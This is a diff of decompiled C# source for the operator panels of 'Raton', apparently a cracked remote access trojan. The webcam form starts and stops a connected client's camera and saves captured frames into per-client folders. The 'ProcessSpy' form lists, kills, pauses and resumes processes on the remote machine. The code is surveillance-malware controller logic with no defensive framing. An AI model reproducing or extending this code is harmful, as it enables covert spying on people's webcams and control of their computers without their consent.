private Panel panel1;
|
||||
private Timer timer1;
|
||||
public PictureBox pctBoxWebcam;
|
||||
private Panel panel2;
|
||||
private Label label1;
|
||||
public FlatComboBox flatComboBox1;
|
||||
private Label label2;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem saveFrameToolStripMenuItem;
|
||||
private MenuStrip menuStrip1;
|
||||
private ToolStripMenuItem toggleConfigurationToolStripMenuItem;
|
||||
public RgbBuildButton button1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonWebcam()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void ratonWebcam_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void ratonWebcam_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopWebcam");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
if (this.button1.Text == "Start")
|
||||
{
|
||||
this.flatComboBox1.Enabled = false;
|
||||
this.button1.Text = "Stop";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Webcam");
|
||||
pack.SetInt("Cam", this.flatComboBox1.SelectedIndex);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.panel2.Visible = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.flatComboBox1.Enabled = true;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopWebcam");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.button1.Text = "Start";
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonWebcam_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void saveFrameToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str1 = Path.Combine(Program.ClientsFolder, this.SillyClient.uid);
|
||||
if (!Directory.Exists(str1))
|
||||
return;
|
||||
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
|
||||
string filename = Path.Combine(str1, $"Webcam_{str2}.png");
|
||||
if (this.pctBoxWebcam.Image == null)
|
||||
return;
|
||||
using (Bitmap bitmap = new Bitmap(this.pctBoxWebcam.Image))
|
||||
bitmap.Save(filename, ImageFormat.Png);
|
||||
int num = (int) Messenger.MessageBox("Frame saved in\n" + filename, "Success", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
|
||||
private void panel2_Paint(object sender, PaintEventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void toggleConfigurationToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Tag == (object) "meow")
|
||||
{
|
||||
this.Tag = (object) "nomeow";
|
||||
this.panel2.Visible = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.Tag = (object) "meow";
|
||||
this.panel2.Visible = true;
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonWebcam));
|
||||
this.panel1 = new Panel();
|
||||
this.panel2 = new Panel();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.label2 = new Label();
|
||||
this.label1 = new Label();
|
||||
this.flatComboBox1 = new FlatComboBox();
|
||||
this.pctBoxWebcam = new PictureBox();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.saveFrameToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.menuStrip1 = new MenuStrip();
|
||||
this.toggleConfigurationToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.panel1.SuspendLayout();
|
||||
this.panel2.SuspendLayout();
|
||||
((ISupportInitialize) this.pctBoxWebcam).BeginInit();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.menuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.panel1.BackColor = SystemColors.AppWorkspace;
|
||||
this.panel1.Controls.Add((Control) this.panel2);
|
||||
this.panel1.Controls.Add((Control) this.pctBoxWebcam);
|
||||
this.panel1.Controls.Add((Control) this.menuStrip1);
|
||||
this.panel1.Dock = DockStyle.Fill;
|
||||
this.panel1.Location = new Point(0, 0);
|
||||
this.panel1.Name = "panel1";
|
||||
this.panel1.Size = new Size(829, 535);
|
||||
this.panel1.TabIndex = 0;
|
||||
this.panel2.Controls.Add((Control) this.button1);
|
||||
this.panel2.Controls.Add((Control) this.label2);
|
||||
this.panel2.Controls.Add((Control) this.label1);
|
||||
this.panel2.Controls.Add((Control) this.flatComboBox1);
|
||||
this.panel2.Location = new Point(0, 24);
|
||||
this.panel2.Name = "panel2";
|
||||
this.panel2.Size = new Size(349, 144 /*0x90*/);
|
||||
this.panel2.TabIndex = 1;
|
||||
this.panel2.Paint += new PaintEventHandler(this.panel2_Paint);
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_eye_show_24_filled;
|
||||
this.button1.IconSize = 26;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(18, 86);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(313, 42);
|
||||
this.button1.TabIndex = 4;
|
||||
this.button1.Text = "Start";
|
||||
this.button1.Click += new EventHandler(this.button1_Click_1);
|
||||
this.label2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(18, 28);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(313, 16 /*0x10*/);
|
||||
this.label2.TabIndex = 3;
|
||||
this.label2.Text = "Press escape to see this menu again";
|
||||
this.label2.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(18, 12);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(313, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Select a webcam";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.flatComboBox1.FlatStyle = FlatStyle.Flat;
|
||||
this.flatComboBox1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.flatComboBox1.FormattingEnabled = true;
|
||||
this.flatComboBox1.Location = new Point(18, 56);
|
||||
this.flatComboBox1.Name = "flatComboBox1";
|
||||
this.flatComboBox1.Size = new Size(313, 23);
|
||||
this.flatComboBox1.TabIndex = 0;
|
||||
this.pctBoxWebcam.BackColor = SystemColors.ActiveBorder;
|
||||
this.pctBoxWebcam.BackgroundImage = (Image) Resources.CameraOutline_16x;
|
||||
this.pctBoxWebcam.BackgroundImageLayout = ImageLayout.Center;
|
||||
this.pctBoxWebcam.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.pctBoxWebcam.Dock = DockStyle.Fill;
|
||||
this.pctBoxWebcam.Location = new Point(0, 24);
|
||||
this.pctBoxWebcam.Name = "pctBoxWebcam";
|
||||
this.pctBoxWebcam.Size = new Size(829, 511 /*0x01FF*/);
|
||||
this.pctBoxWebcam.SizeMode = PictureBoxSizeMode.StretchImage;
|
||||
this.pctBoxWebcam.TabIndex = 0;
|
||||
this.pctBoxWebcam.TabStop = false;
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[1]
|
||||
{
|
||||
(ToolStripItem) this.saveFrameToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(133, 26);
|
||||
this.saveFrameToolStripMenuItem.Image = (Image) Resources.Save_grey_16x;
|
||||
this.saveFrameToolStripMenuItem.Name = "saveFrameToolStripMenuItem";
|
||||
this.saveFrameToolStripMenuItem.Size = new Size(132, 22);
|
||||
this.saveFrameToolStripMenuItem.Text = "Save frame";
|
||||
this.saveFrameToolStripMenuItem.Click += new EventHandler(this.saveFrameToolStripMenuItem_Click);
|
||||
this.menuStrip1.Items.AddRange(new ToolStripItem[1]
|
||||
{
|
||||
(ToolStripItem) this.toggleConfigurationToolStripMenuItem
|
||||
});
|
||||
this.menuStrip1.Location = new Point(0, 0);
|
||||
this.menuStrip1.Name = "menuStrip1";
|
||||
this.menuStrip1.Size = new Size(829, 24);
|
||||
this.menuStrip1.TabIndex = 2;
|
||||
this.menuStrip1.Text = "menuStrip1";
|
||||
this.toggleConfigurationToolStripMenuItem.Image = (Image) Resources.SettingsOutline_16x;
|
||||
this.toggleConfigurationToolStripMenuItem.Name = "toggleConfigurationToolStripMenuItem";
|
||||
this.toggleConfigurationToolStripMenuItem.Size = new Size(146, 20);
|
||||
this.toggleConfigurationToolStripMenuItem.Text = "Toggle configuration";
|
||||
this.toggleConfigurationToolStripMenuItem.Click += new EventHandler(this.toggleConfigurationToolStripMenuItem_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(829, 535);
|
||||
this.Controls.Add((Control) this.panel1);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.KeyPreview = true;
|
||||
this.MainMenuStrip = this.menuStrip1;
|
||||
this.Name = nameof (ratonWebcam);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Tag = (object) "meow";
|
||||
this.Text = nameof (ratonWebcam);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonWebcam_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonWebcam_Load);
|
||||
this.KeyDown += new KeyEventHandler(this.ratonWebcam_KeyDown);
|
||||
this.panel1.ResumeLayout(false);
|
||||
this.panel1.PerformLayout();
|
||||
this.panel2.ResumeLayout(false);
|
||||
((ISupportInitialize) this.pctBoxWebcam).EndInit();
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.menuStrip1.ResumeLayout(false);
|
||||
this.menuStrip1.PerformLayout();
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,275 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonWindows
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonWindows : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private ColumnHeader columnHeader6;
|
||||
private ColumnHeader columnHeader5;
|
||||
private Timer timer2;
|
||||
public Timer timer1;
|
||||
public ImageList imageList1;
|
||||
private ToolStripMenuItem processInformationToolStripMenuItem;
|
||||
private ToolStripMenuItem refreshProcessToolStripMenuItem;
|
||||
private ToolStripSeparator toolStripSeparator1;
|
||||
private ToolStripMenuItem pauseProcessToolStripMenuItem;
|
||||
private ToolStripMenuItem killProcessToolStripMenuItem;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem resumeProcessToolStripMenuItem;
|
||||
private ColumnHeader columnHeader4;
|
||||
private ColumnHeader columnHeader3;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ColumnHeader columnHeader1;
|
||||
public AeroListView aeroListView2;
|
||||
public Label label1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonWindows()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonWindows_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.timer1.Start();
|
||||
this.timer2.Start();
|
||||
}
|
||||
|
||||
private void Command(string command)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView2.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString(nameof (Command), command);
|
||||
pack.SetInt("ProcessId", Convert.ToInt32(selectedItem.Tag));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void timer2_Tick(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.Text = "This is taking too long, maybe bad connection?";
|
||||
}
|
||||
|
||||
private void aeroListView2_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void killProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Command("Kill");
|
||||
this.aeroListView2.Visible = false;
|
||||
this.label1.Visible = true;
|
||||
this.label1.Text = "Please wait...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void pauseProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Command("Pause");
|
||||
}
|
||||
|
||||
private void resumeProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Command("Resume");
|
||||
}
|
||||
|
||||
private void refreshProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.aeroListView2.Visible = false;
|
||||
this.label1.Visible = true;
|
||||
this.label1.Text = "Please wait...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
public void changeColor(string name)
|
||||
{
|
||||
foreach (ListViewItem listViewItem in this.aeroListView2.Items)
|
||||
{
|
||||
if (string.Equals(listViewItem.Text.Trim(), name, StringComparison.OrdinalIgnoreCase))
|
||||
listViewItem.ForeColor = Color.LightCoral;
|
||||
}
|
||||
}
|
||||
|
||||
private void processInformationToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView2.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString("Command", "Info");
|
||||
pack.SetInt("ProcessId", Convert.ToInt32(selectedItem.Tag));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonWindows));
|
||||
this.columnHeader6 = new ColumnHeader();
|
||||
this.columnHeader5 = new ColumnHeader();
|
||||
this.timer2 = new Timer(this.components);
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.processInformationToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.refreshProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.toolStripSeparator1 = new ToolStripSeparator();
|
||||
this.pauseProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.killProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.resumeProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.columnHeader4 = new ColumnHeader();
|
||||
this.columnHeader3 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.aeroListView2 = new AeroListView();
|
||||
this.label1 = new Label();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.columnHeader6.Text = "PID";
|
||||
this.columnHeader6.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader6.Width = 515;
|
||||
this.columnHeader5.Text = "Name";
|
||||
this.columnHeader5.Width = 322;
|
||||
this.timer2.Interval = 10000;
|
||||
this.timer2.Tick += new EventHandler(this.timer2_Tick);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.imageList1.ColorDepth = ColorDepth.Depth32Bit;
|
||||
this.imageList1.ImageSize = new Size(24, 24);
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.processInformationToolStripMenuItem.Image = (Image) Resources.InformationSymbol_16x1;
|
||||
this.processInformationToolStripMenuItem.Name = "processInformationToolStripMenuItem";
|
||||
this.processInformationToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.processInformationToolStripMenuItem.Text = "Process information";
|
||||
this.processInformationToolStripMenuItem.Click += new EventHandler(this.processInformationToolStripMenuItem_Click);
|
||||
this.refreshProcessToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshProcessToolStripMenuItem.Name = "refreshProcessToolStripMenuItem";
|
||||
this.refreshProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.refreshProcessToolStripMenuItem.Text = "Refresh list";
|
||||
this.refreshProcessToolStripMenuItem.Click += new EventHandler(this.refreshProcessToolStripMenuItem_Click);
|
||||
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
||||
this.toolStripSeparator1.Size = new Size(177, 6);
|
||||
this.pauseProcessToolStripMenuItem.Image = (Image) Resources.Pause_grey_16x;
|
||||
this.pauseProcessToolStripMenuItem.Name = "pauseProcessToolStripMenuItem";
|
||||
this.pauseProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.pauseProcessToolStripMenuItem.Text = "Pause process";
|
||||
this.pauseProcessToolStripMenuItem.Click += new EventHandler(this.pauseProcessToolStripMenuItem_Click);
|
||||
this.killProcessToolStripMenuItem.Image = (Image) Resources.Copy_16x;
|
||||
this.killProcessToolStripMenuItem.Name = "killProcessToolStripMenuItem";
|
||||
this.killProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.killProcessToolStripMenuItem.Text = "Kill process";
|
||||
this.killProcessToolStripMenuItem.Click += new EventHandler(this.killProcessToolStripMenuItem_Click);
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[6]
|
||||
{
|
||||
(ToolStripItem) this.killProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.pauseProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.resumeProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.toolStripSeparator1,
|
||||
(ToolStripItem) this.refreshProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.processInformationToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(181, 120);
|
||||
this.resumeProcessToolStripMenuItem.Image = (Image) Resources.ResumePhone_16x;
|
||||
this.resumeProcessToolStripMenuItem.Name = "resumeProcessToolStripMenuItem";
|
||||
this.resumeProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.resumeProcessToolStripMenuItem.Text = "Resume process";
|
||||
this.resumeProcessToolStripMenuItem.Click += new EventHandler(this.resumeProcessToolStripMenuItem_Click);
|
||||
this.columnHeader4.Text = "Process is";
|
||||
this.columnHeader4.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader4.Width = 214;
|
||||
this.columnHeader3.Text = "Status";
|
||||
this.columnHeader3.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader3.Width = 119;
|
||||
this.columnHeader2.Text = "PID";
|
||||
this.columnHeader2.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader2.Width = 81;
|
||||
this.columnHeader1.Text = "Name";
|
||||
this.columnHeader1.Width = 177;
|
||||
this.aeroListView2.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView2.Columns.AddRange(new ColumnHeader[2]
|
||||
{
|
||||
this.columnHeader5,
|
||||
this.columnHeader6
|
||||
});
|
||||
this.aeroListView2.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView2.Dock = DockStyle.Fill;
|
||||
this.aeroListView2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView2.FullRowSelect = true;
|
||||
this.aeroListView2.HideSelection = false;
|
||||
this.aeroListView2.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView2.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView2.Name = "aeroListView2";
|
||||
this.aeroListView2.Size = new Size(839, 370);
|
||||
this.aeroListView2.SmallImageList = this.imageList1;
|
||||
this.aeroListView2.TabIndex = 4;
|
||||
this.aeroListView2.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView2.View = View.Details;
|
||||
this.aeroListView2.Visible = false;
|
||||
this.aeroListView2.SelectedIndexChanged += new EventHandler(this.aeroListView2_SelectedIndexChanged);
|
||||
this.label1.BackColor = Color.Transparent;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(-2, 117);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(841, 125);
|
||||
this.label1.TabIndex = 5;
|
||||
this.label1.Text = "Please wait...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(839, 370);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.aeroListView2);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonWindows);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonWindows);
|
||||
this.Load += new EventHandler(this.ratonWindows_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user